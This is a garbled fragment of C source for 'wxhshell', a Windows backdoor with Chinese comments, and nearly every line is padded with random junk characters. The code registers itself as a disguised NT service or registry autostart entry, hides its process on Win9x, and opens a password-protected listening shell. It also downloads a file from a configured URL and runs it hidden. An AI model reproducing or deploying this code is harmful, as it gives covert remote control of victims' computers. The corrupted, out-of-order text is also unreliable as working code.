ULONG InheritedFromUniqueProcessId; ey icMy`7{
} PROCESS_BASIC_INFORMATION; 5G$sP,n
QOb+6qy:3
PROCNTQSIP NtQueryInformationProcess; R<"fcsU
A:{PPjs%LA
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6
GL.bS
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (f Gmjx
H);O. m
HANDLE hProcess; eN]AJ%Ig
PROCESS_BASIC_INFORMATION pbi; 8 K7.; t1
km%c0:
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '*`25BiQ
if(NULL == hInst ) return 0; w]<a$C8*y:
@jXdQY%{
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jY: )W*TXt
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uL.)+E
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]Tv0+ Ao
S!\4,6
if (!NtQueryInformationProcess) return 0; 6oh\#v3zV
r8]y1
Om<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V5]}b[X
if(!hProcess) return 0; j=&]=0F
Wc6Jgpl
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uv&??F]/
D's Tv}P
CloseHandle(hProcess); Q~p)@[q
25:[VH$:4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T4
:UJj}
if(hProcess==NULL) return 0; )9oF?l^q
]6:|-x:m
HMODULE hMod; c/K:`XP~
char procName[255]; )qyJwN
.D
unsigned long cbNeeded; +JDQ`Qk
X`,=tM
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A }(V2
%9^^X6yLM
CloseHandle(hProcess); >
T$M0&<
D90.z"N\i9
if(strstr(procName,"services")) return 1; // 以服务启动 t> ~a/K"
fN!ci']
return 0; // 注册表启动 ,sa%u Fm
} V8C62X
*h <_gn
// 主模块 eNQQ`ll@m
int StartWxhshell(LPSTR lpCmdLine) xJ&E2Bf
{ ?j'Nx_RoX
SOCKET wsl; xE.yh#?.k
BOOL val=TRUE; y}\d]*5
int port=0; 2aDjt{7P
struct sockaddr_in door; zp4aiMn1F
%z9lCTmy
if(wscfg.ws_autoins) Install(); [|5gw3y
cs-wqxTX[$
port=atoi(lpCmdLine); ?W27
h
/s/\5-U7q
if(port<=0) port=wscfg.ws_port; zUQn*Cio e
iNlY\67sW
WSADATA data; 2#i*'.
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j\LJ{?;jC
B(eC|:w[z
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; dcn/|"jr
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ifx
EM
door.sin_family = AF_INET; t.s;dlx[@
door.sin_addr.s_addr = inet_addr("127.0.0.1");
*v}3So
door.sin_port = htons(port); 8@)4)+e
QEC4!$L^
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S;I>W&U
closesocket(wsl); -ff@W m
return 1; ><HHO
(74X
} )j_Y9`R
[& d"Z2gK
if(listen(wsl,2) == INVALID_SOCKET) { u/ Gk>F
closesocket(wsl); / b;GC-"v
return 1; j#f7-nHyz8
} u)hr
Wxhshell(wsl); eI^Q!b8n
WSACleanup(); (O(X k+L
KAFx^JLo
return 0; :TZ</3Sw
dlf nhf
} _rN1(=J
<N~&Leh
// 以NT服务方式启动 iVUkM3
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =[
+)T[
{ -50Nd=1
DWORD status = 0; fZ6-ap,u
DWORD specificError = 0xfffffff; QnZ7e#@UP
|eu:qn8
serviceStatus.dwServiceType = SERVICE_WIN32; m"|AD/2;(
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 'CfM'f3uu
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `pJWZ:3
serviceStatus.dwWin32ExitCode = 0; B/^1uPTZ71
serviceStatus.dwServiceSpecificExitCode = 0; wBJP8wES=
serviceStatus.dwCheckPoint = 0; c]x'}Kc
serviceStatus.dwWaitHint = 0; w vnuE<o8
NDo>"in
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FSNzBN
if (hServiceStatusHandle==0) return; >hFg,5 _l3
tsWzM9Yf
status = GetLastError(); 0]u=GD%
if (status!=NO_ERROR) u,88V@^
{ z]V%&f
serviceStatus.dwCurrentState = SERVICE_STOPPED; r;"uk+{i
serviceStatus.dwCheckPoint = 0; 0kiV-yc
serviceStatus.dwWaitHint = 0; vw'BKi
F
serviceStatus.dwWin32ExitCode = status; wRCv?D`vV
serviceStatus.dwServiceSpecificExitCode = specificError; M~O$,dof
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +8zCol?j
return; BXxl-x
} P-LdzVt(^
)zMsKfQ
serviceStatus.dwCurrentState = SERVICE_RUNNING; |9;MP&68
serviceStatus.dwCheckPoint = 0; Y2oN.{IH
serviceStatus.dwWaitHint = 0; LvcGh
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >>I~v)a>w
} \)/dFo\l
BK[ YX)
// 处理NT服务事件,比如:启动、停止 9C"d7--
VOID WINAPI NTServiceHandler(DWORD fdwControl) ';J><z{>
{ {sR|W:fS$
switch(fdwControl) 79y'PFSms
{ b'mp$lt!
case SERVICE_CONTROL_STOP: [CAV"u)0
serviceStatus.dwWin32ExitCode = 0; sI% =G3o=
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?,AWXiif
serviceStatus.dwCheckPoint = 0; ;p] f5R^
serviceStatus.dwWaitHint = 0; IS[&V&.n
{ K."h}f95
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |\#6?y[o
} '>aj5tZ>R
return; ,Srj38p
case SERVICE_CONTROL_PAUSE: 7eP3pg#
serviceStatus.dwCurrentState = SERVICE_PAUSED; 4/+P7.}ea-
break; l6y*SW5+
case SERVICE_CONTROL_CONTINUE: .0ExHcr
serviceStatus.dwCurrentState = SERVICE_RUNNING; x4e8;A(y
break; w.9'TR
case SERVICE_CONTROL_INTERROGATE: /t;Kn m
break; iL\eMa
}; fo5+3iu^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ip&Q'"HYj
} F =Zc_
\66j4?H#
// 标准应用程序主函数 <7X6ULQ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #>[5NQ;$'
{ 9+"\7MHw
ge@ KopZ&
// 获取操作系统版本 +^tw@b
OsIsNt=GetOsVer(); XL2iK) A
GetModuleFileName(NULL,ExeFile,MAX_PATH); uNS ]n}
Vv<Tjr
// 从命令行安装 cpe/GvD5]
if(strpbrk(lpCmdLine,"iI")) Install(); Vt;!FZ
Qf<@
:T*
// 下载执行文件 Kulh:d:w
if(wscfg.ws_downexe) { ^cz;UQX~}
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _6/q.
WinExec(wscfg.ws_filenam,SW_HIDE); j+-+<h/(
} 25-5X3(>j=
#fTPo:*t
if(!OsIsNt) { :f|X$>
b
// 如果时win9x,隐藏进程并且设置为注册表启动 }+3IM1VTW{
HideProc(); W%.ou\GN^t
StartWxhshell(lpCmdLine); Rb=8(#
} hq[RU&\
else cN]]J
if(StartFromService()) *]]C.t-cd
// 以服务方式启动 ;+W9EbY2
StartServiceCtrlDispatcher(DispatchTable); gyx4= 'Q
else D/7hVwMw:
// 普通方式启动 'D1Sm&M2%e
StartWxhshell(lpCmdLine); IP
e"9xb
KfkE'_F
return 0; m=.}}DcSs
} r|!r!V8j
zJCm0HLJ
f:6%DT~a&C
F>!gwmn~
=========================================== Mq[|w2.
`E4OgO
wn-{Vkpm
<xpHlLc
xO nW~Z
g-cC&)0Q
" D3i`ehh
}?vVJm'
#include <stdio.h> ;s(uaC3
#include <string.h> v@KP~kp
#include <windows.h> 5Rc^5Nv
#include <winsock2.h>
;p U=>
#include <winsvc.h> hr)CxsPoRQ
#include <urlmon.h> sH}q &=
:lGH31GG
#pragma comment (lib, "Ws2_32.lib") cHO8%xu`
#pragma comment (lib, "urlmon.lib") |'bRVqJ
5[{#/!LX)
#define MAX_USER 100 // 最大客户端连接数 X8Ld\vZYn
#define BUF_SOCK 200 // sock buffer X|3l*FL
#define KEY_BUFF 255 // 输入 buffer K0bh;I
i9FtS7
#define REBOOT 0 // 重启 5PXo1"n8T
#define SHUTDOWN 1 // 关机 Q[U_
0O,A9
|loo^!I
#define DEF_PORT 5000 // 监听端口 x22:@Ot6
AT6:&5_`
#define REG_LEN 16 // 注册表键长度 Jfkdiyy"
#define SVC_LEN 80 // NT服务名长度 n$S`NNO{]
kk*:S* ,
// 从dll定义API >tFv&1iR
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NcVsQV
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y3J;Kk#AH
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "Nx3_mQ
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A7SE>e>
EE<^q?[3^
// wxhshell配置信息 ^Nu0+S
struct WSCFG { \h&ui]V
int ws_port; // 监听端口 QaMB=wVr
char ws_passstr[REG_LEN]; // 口令 AHA4{Zu[
int ws_autoins; // 安装标记, 1=yes 0=no M zbs#v0
char ws_regname[REG_LEN]; // 注册表键名 &D[pX|!
char ws_svcname[REG_LEN]; // 服务名 h)746T )
char ws_svcdisp[SVC_LEN]; // 服务显示名 P4~=_Hh
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ggR--`D[
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &